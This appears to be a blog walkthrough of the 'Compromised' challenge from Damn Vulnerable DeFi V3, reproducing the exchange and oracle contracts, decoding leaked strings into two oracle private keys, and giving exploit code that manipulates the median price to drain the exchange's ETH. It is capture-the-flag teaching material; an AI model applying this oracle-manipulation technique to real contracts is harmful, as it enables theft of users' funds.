Damn Vulnerable DeFi V3 Challenge 7 Solution: Compromised Complete Walkthrough

Damn Vulnerable DeFi V3 Challenge 7 Solution: Compromised Complete Walkthrough

In this article, we are going to solve the 7th challenge in Damn Vulnerable DeFi V3, known as the “Compromised” challenge.

Before we dive in, if you’re serious about becoming a certified smart contract hacker, check out our comprehensive Smart Contract Hacking Course.

You can also find all the Damn Vulnerable DeFi V3 videos and solutions in this dedicated YouTube playlist

If you’re interested in the code, we’ve got you covered. Check out the Damn Vulnerable DeFi Repository with Solutions on GitHub (Don’t forget to leave a star ??)

Watch the full Walkthrough:

Now, let’s dive into the Compromised challenge and understand what it’s all about.

Challenge Overview

Compromised Challenge

Damn Vulnerable DeFi V3 Challenge 7, “Compromised,” revolves around an NFT exchange that sells NFTs at extraordinarily high prices. These prices are sourced from an external Oracle Service. Our mission, should we choose to accept it, is to unravel the inner workings of this exchange and, more importantly, figure out how to manipulate it to our advantage. To succeed, we need to think like hackers, identify vulnerabilities, and ultimately liberate all the ETH stored in the NFT Exchange!

Smart Contracts Overview

Exchange.sol

Represents an on-chain exchange for Damn Valuable Non-Fungible Tokens (DVNF).

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import "@openzeppelin/contracts/utils/Address.sol";
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
import "./TrustfulOracle.sol";
import "../DamnValuableNFT.sol";

/**
 * @title Exchange
 * @author Damn Vulnerable DeFi (https://damnvulnerabledefi.xyz)
 */
contract Exchange is ReentrancyGuard {
    using Address for address payable;

    DamnValuableNFT public immutable token;
    TrustfulOracle public immutable oracle;

    error InvalidPayment();
    error SellerNotOwner(uint256 id);
    error TransferNotApproved();
    error NotEnoughFunds();

    event TokenBought(address indexed buyer, uint256 tokenId, uint256 price);
    event TokenSold(address indexed seller, uint256 tokenId, uint256 price);

    constructor(address _oracle) payable {
        token = new DamnValuableNFT();
        token.renounceOwnership();
        oracle = TrustfulOracle(_oracle);
    }

    function buyOne() external payable nonReentrant returns (uint256 id) {
        if (msg.value == 0)
            revert InvalidPayment();

        // Price should be in [wei / NFT]
        uint256 price = oracle.getMedianPrice(token.symbol());
        
        if (msg.value < price)
            revert InvalidPayment();

        id = token.safeMint(msg.sender);
        unchecked {
            payable(msg.sender).sendValue(msg.value - price);
        }

        emit TokenBought(msg.sender, id, price);
    }

    function sellOne(uint256 id) external nonReentrant {
        if (msg.sender != token.ownerOf(id))
            revert SellerNotOwner(id);
    
        if (token.getApproved(id) != address(this))
            revert TransferNotApproved();

        // Price should be in [wei / NFT]
        uint256 price = oracle.getMedianPrice(token.symbol());
        if (address(this).balance < price)
            revert NotEnoughFunds();

        token.transferFrom(msg.sender, address(this), id);
        token.burn(id);

        payable(msg.sender).sendValue(price);

        emit TokenSold(msg.sender, id, price);
    }

    receive() external payable {}
}        

  1. constructor(address _oracle): Initializes the contract with an address of the TrustfulOracle contract.
  2. buyOne(): Allows users to buy DVNF tokens by sending Ether. Ensures payment is valid and mints tokens to the buyer.
  3. sellOne(uint256 id): Allows token owners to sell DVNF tokens to the contract. Ensures ownership and approval before transferring tokens and Ether.
  4. receive(): A fallback function to receive Ether.

TrustfulOracle.sol

A decentralized price oracle with multiple trusted sources, calculating median prices for symbols.

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import "@openzeppelin/contracts/access/AccessControlEnumerable.sol";
import "solady/src/utils/LibSort.sol";

/**
 * @title TrustfulOracle
 * @author Damn Vulnerable DeFi (https://damnvulnerabledefi.xyz)
 * @notice A price oracle with a number of trusted sources that individually report prices for symbols.
 *         The oracle's price for a given symbol is the median price of the symbol over all sources.
 */
contract TrustfulOracle is AccessControlEnumerable {
    uint256 public constant MIN_SOURCES = 1;
    bytes32 public constant TRUSTED_SOURCE_ROLE = keccak256("TRUSTED_SOURCE_ROLE");
    bytes32 public constant INITIALIZER_ROLE = keccak256("INITIALIZER_ROLE");

    // Source address => (symbol => price)
    mapping(address => mapping(string => uint256)) private _pricesBySource;

    error NotEnoughSources();

    event UpdatedPrice(address indexed source, string indexed symbol, uint256 oldPrice, uint256 newPrice);

    constructor(address[] memory sources, bool enableInitialization) {
        if (sources.length < MIN_SOURCES)
            revert NotEnoughSources();
        for (uint256 i = 0; i < sources.length;) {
            unchecked {
                _setupRole(TRUSTED_SOURCE_ROLE, sources[i]);
                ++i;
            }
        }
        if (enableInitialization)
            _setupRole(INITIALIZER_ROLE, msg.sender);
    }

    // A handy utility allowing the deployer to setup initial prices (only once)
    function setupInitialPrices(address[] calldata sources, string[] calldata symbols, uint256[] calldata prices)
        external
        onlyRole(INITIALIZER_ROLE)
    {
        // Only allow one (symbol, price) per source
        require(sources.length == symbols.length && symbols.length == prices.length);
        for (uint256 i = 0; i < sources.length;) {
            unchecked {
                _setPrice(sources[i], symbols[i], prices[i]);
                ++i;
            }
        }
        renounceRole(INITIALIZER_ROLE, msg.sender);
    }

    function postPrice(string calldata symbol, uint256 newPrice) external onlyRole(TRUSTED_SOURCE_ROLE) {
        _setPrice(msg.sender, symbol, newPrice);
    }

    function getMedianPrice(string calldata symbol) external view returns (uint256) {
        return _computeMedianPrice(symbol);
    }

    function getAllPricesForSymbol(string memory symbol) public view returns (uint256[] memory prices) {
        uint256 numberOfSources = getRoleMemberCount(TRUSTED_SOURCE_ROLE);
        prices = new uint256[](numberOfSources);
        for (uint256 i = 0; i < numberOfSources;) {
            address source = getRoleMember(TRUSTED_SOURCE_ROLE, i);
            prices[i] = getPriceBySource(symbol, source);
            unchecked { ++i; }
        }
    }

    function getPriceBySource(string memory symbol, address source) public view returns (uint256) {
        return _pricesBySource[source][symbol];
    }

    function _setPrice(address source, string memory symbol, uint256 newPrice) private {
        uint256 oldPrice = _pricesBySource[source][symbol];
        _pricesBySource[source][symbol] = newPrice;
        emit UpdatedPrice(source, symbol, oldPrice, newPrice);
    }

    function _computeMedianPrice(string memory symbol) private view returns (uint256) {
        uint256[] memory prices = getAllPricesForSymbol(symbol);
        LibSort.insertionSort(prices);
        if (prices.length % 2 == 0) {
            uint256 leftPrice = prices[(prices.length / 2) - 1];
            uint256 rightPrice = prices[prices.length / 2];
            return (leftPrice + rightPrice) / 2;
        } else {
            return prices[prices.length / 2];
        }
    }
}        

  1. constructor(address[] memory sources, bool enableInitialization): Initializes the contract with trusted sources and optionally enables initialization.
  2. setupInitialPrices(address[] calldata sources, string[] calldata symbols, uint256[] calldata prices): Allows the deployer to set initial prices for symbols.
  3. postPrice(string calldata symbol, uint256 newPrice): Trusted sources can post new prices for symbols.
  4. getMedianPrice(string calldata symbol): Retrieves the median price for a symbol based on trusted source prices.
  5. getAllPricesForSymbol(string memory symbol): Retrieves all reported prices for a symbol from trusted sources.
  6. getPriceBySource(string memory symbol, address source): Retrieves the price reported by a specific source for a symbol.

TrustfulOracleInitializer.sol

Main Functionality: A utility contract to deploy and initialize a new instance of the TrustfulOracle contract.

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import { TrustfulOracle } from "./TrustfulOracle.sol";

/**
 * @title TrustfulOracleInitializer
 * @author Damn Vulnerable DeFi (https://damnvulnerabledefi.xyz)
 */
contract TrustfulOracleInitializer {
    event NewTrustfulOracle(address oracleAddress);

    TrustfulOracle public oracle;

    constructor(address[] memory sources, string[] memory symbols, uint256[] memory initialPrices) {
        oracle = new TrustfulOracle(sources, true);
        oracle.setupInitialPrices(sources, symbols, initialPrices);
        emit NewTrustfulOracle(address(oracle));
    }
}        

  1. constructor(address[] memory sources, string[] memory symbols, uint256[] memory initialPrices): Initializes the contract with arrays of sources, symbols, and initial prices for a new Oracle contract.

The Vulnerability

The NFT price within the exchange relies on an on-chain oracle accessible only to trusted accounts for posting NFT prices.?

Our challenge lies in the potential to manipulate these prices by gaining access to these trusted accounts, ultimately enabling us to successfully complete the challenge.

Unfortunatly we can’t mess with the contract logic which leads to try the Web2 Security approach and somehow possess access to those “trusted oracles”.

We got a hint and we received a leaked message obtained from a web service, which appears as a series of hexadecimal values:

4d 48 68 6a 4e 6a 63 34 5a 57 59 78 59 57 45 30 4e 54 5a 6b 59 54 59 31 59 7a 5a 6d 59 7a 55 34 4e 6a 46 6b 4e 44 51 34 4f 54 4a 6a 5a 47 5a 68 59 7a 42 6a 4e 6d 4d 34 59 7a 49 31 4e 6a 42 69 5a 6a 42 6a 4f 57 5a 69 59 32 52 68 5a 54 4a 6d 4e 44 63 7a 4e 57 45 35

4d 48 67 79 4d 44 67 79 4e 44 4a 6a 4e 44 42 68 59 32 52 6d 59 54 6c 6c 5a 44 67 34 4f 57 55 32 4f 44 56 6a 4d 6a 4d 31 4e 44 64 68 59 32 4a 6c 5a 44 6c 69 5a 57 5a 6a 4e 6a 41 7a 4e 7a 46 6c 4f 54 67 33 4e 57 5a 69 59 32 51 33 4d 7a 59 7a 4e 44 42 69 59 6a 51 34        

Upon converting the above hexadecimal code into UTF-8 text, we obtain the following strings:

MHhjNjc4ZWYxYWE0NTZkYTY1YzZmYzU4NjFkNDQ4OTJjZGZhYzBjNmM4YzI1NjBiZjBjOWZiY2RhZTJmNDczNWE5
MHgyMDgyNDJjNDBhY2RmYTllZDg4OWU2ODVjMjM1NDdhY2JlZDliZWZjNjAzNzFlOTg3NWZiY2Q3MzYzNDBiYjQ4        

These text strings are encoded in Base64, a common method for converting and compressing data for web applications. When we decode these Base64 strings into UTF-8 text, we reveal the following:

0xc678ef1aa456da65c6fc5861d44892cdfac0c6c8c2560bf0c9fbcdae2f4735a9
0x208242c40acdfa9ed889e685c23547acbed9befc60371e9875fbcd736340bb48        

These decoded strings represent private keys associated with trusted accounts within the oracle system. The potential attack vector involves using these private keys to sign transactions, thereby manipulating prices within the oracle.?

This manipulation allows us to take advantage of buying at lower prices and selling at higher prices, ultimately draining the exchange of its funds.

The Exploit

For this challenge we don’t need to write any malicious smart contracts, therefore, we will add the following code to the “Execution” section in the compromised.challenge.js file:

it('Execution', async function () {
    /** CODE YOUR SOLUTION HERE */

    // HEX --> ASCI --> Base64 decode
    const PKEY1 = "0xc678ef1aa456da65c6fc5861d44892cdfac0c6c8c2560bf0c9fbcdae2f4735a9"
    const PKEY2 = "0x208242c40acdfa9ed889e685c23547acbed9befc60371e9875fbcd736340bb48"
    const signer1 = new ethers.Wallet(PKEY1, ethers.provider);
    const signer2 = new ethers.Wallet(PKEY2, ethers.provider);

    // Set Price - 1 WEI, and buy the NFT
    await oracle.connect(signer1).postPrice("DVNFT", 1);
    await oracle.connect(signer2).postPrice("DVNFT", 1);
    await exchange.connect(player).buyOne({ value: 1 });

    // Set Price - 999ETH + 1 WEI, and sell the NFT ;)
    await oracle.connect(signer1).postPrice("DVNFT", EXCHANGE_INITIAL_ETH_BALANCE + BigInt(1));
    await oracle.connect(signer2).postPrice("DVNFT", EXCHANGE_INITIAL_ETH_BALANCE + BigInt(1));
    await nftToken.connect(player).approve(exchange.address, 0);
    await exchange.connect(player).sellOne(0);

    // Restore Original Price
    await oracle.connect(signer1).postPrice("DVNFT", EXCHANGE_INITIAL_ETH_BALANCE);
    await oracle.connect(signer2).postPrice("DVNFT", EXCHANGE_INITIAL_ETH_BALANCE);
});        

  1. We create 2 wallet objects using the obtained private keys
  2. We post a very low price from these wallets
  3. We but 1 NFT for a low price
  4. We post a very high price with the hacked wallets
  5. We sell the NFTs back to the exchange for a very high price and we drain the exchange’s ETH!

And the result?

Compromised Solution

Congratz! you solved the Compromised Challenge! ??


要查看或添加评论,请登录

Johnny Time的更多文章

社区洞察

其他会员也浏览了